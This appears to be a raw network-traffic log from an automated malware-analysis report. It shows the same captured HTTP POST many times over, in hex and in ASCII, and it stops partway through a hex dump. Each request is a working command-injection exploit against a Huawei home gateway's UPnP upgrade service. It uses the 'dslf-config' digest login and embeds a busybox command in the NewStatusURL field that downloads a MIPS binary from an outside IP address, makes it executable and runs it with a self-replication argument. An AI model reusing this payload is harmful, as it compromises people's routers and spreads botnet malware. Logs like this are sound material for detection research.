3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 